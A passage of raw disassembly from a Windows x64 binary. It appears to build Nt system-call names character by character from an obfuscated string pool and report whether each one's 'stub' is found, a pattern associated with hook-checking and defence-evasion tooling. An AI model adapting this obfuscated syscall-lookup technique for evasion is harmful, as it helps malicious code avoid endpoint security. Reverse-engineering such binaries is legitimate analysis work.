lea r8, [0x1402afee3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x1402afeef]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x1402afec9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x41f0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x439f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x43a0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x43a0]
mov rcx, qword [rbp + 0x5be8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x43a0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x14000631e
lea rbx, [0x1402afea9]
jmp 0x140006325
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x45cf]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x45cf]
lea rax, [rbp + 0x45a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x1402afee9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x1402afe8f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x1402afeef]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4420]
lea rdx, [rbp + 0x4440]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4400]
lea rdx, [rbp + 0x4420]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x43e0]
lea rdx, [rbp + 0x4400]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x43c0]
lea rdx, [rbp + 0x43e0]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x43c0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x43c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x43e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4400]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x45cf]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x45d0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x45d0]
mov rcx, qword [rbp + 0x5be0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x45d0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x1400066b9
lea rbx, [0x1402afea9]
jmp 0x1400066c0
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x485f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x485f]
lea rax, [rbp + 0x4830]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x1402afe8f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x1402afed7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4690]
lea rdx, [rbp + 0x46b0]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4670]
lea rdx, [rbp + 0x4690]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4650]
lea rdx, [rbp + 0x4670]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4630]
lea rdx, [rbp + 0x4650]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4610]
lea rdx, [rbp + 0x4630]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x45f0]
lea rdx, [rbp + 0x4610]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x45f0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x45f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4610]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4630]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4650]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4670]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x485f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4860]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x4860]
mov rcx, qword [rbp + 0x5bd8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x4860]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140006ad8
lea rbx, [0x1402afea9]
jmp 0x140006adf
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4acf]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x4acf]
lea rax, [rbp + 0x4aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4a80]
lea rdx, [rbp + 0x4aa0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4a60]
lea rdx, [rbp + 0x4a80]
lea r8, [0x1402afef1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x1402afecb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x1402afed5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x48c0]
lea rdx, [rbp + 0x48e0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x48a0]
lea rdx, [rbp + 0x48c0]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4880]
lea rdx, [rbp + 0x48a0]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x4880]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4880]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x48a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4a80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4aa0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4acf]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x4ad0]
mov rcx, qword [rbp + 0x5bd0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140006ecb
lea rbx, [0x1402afea9]
jmp 0x140006ed2
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4d3f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x4d3f]
lea rax, [rbp + 0x4d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4cf0]
lea rdx, [rbp + 0x4d10]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4cd0]
lea rdx, [rbp + 0x4cf0]
lea r8, [0x1402afedd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x1402afecb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x1402afed5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x4af0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4cf0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4d10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4d3f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x4d40]
mov rcx, qword [rbp + 0x5bc8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x1400072be
lea rbx, [0x1402afea9]
jmp 0x1400072c5
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4f6f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x4f6f]
lea rax, [rbp + 0x4f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x1402afef3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x1402afed3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x1402afed5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x4d60]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4f6f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4f70]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x4f70]
mov rcx, qword [rbp + 0x5bc0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x4f70]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140007659
lea rbx, [0x1402afea9]
jmp 0x140007660
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x513f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x513f]
lea rax, [rbp + 0x5110]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x50f0]
lea rdx, [rbp + 0x5110]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x50d0]
lea rdx, [rbp + 0x50f0]
lea r8, [0x1402afee3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x50b0]
lea rdx, [rbp + 0x50d0]
lea r8, [0x1402afeef]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5090]
lea rdx, [rbp + 0x50b0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5070]
lea rdx, [rbp + 0x5090]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5050]
lea rdx, [rbp + 0x5070]
lea r8, [0x1402afedd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5030]
lea rdx, [rbp + 0x5050]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5010]
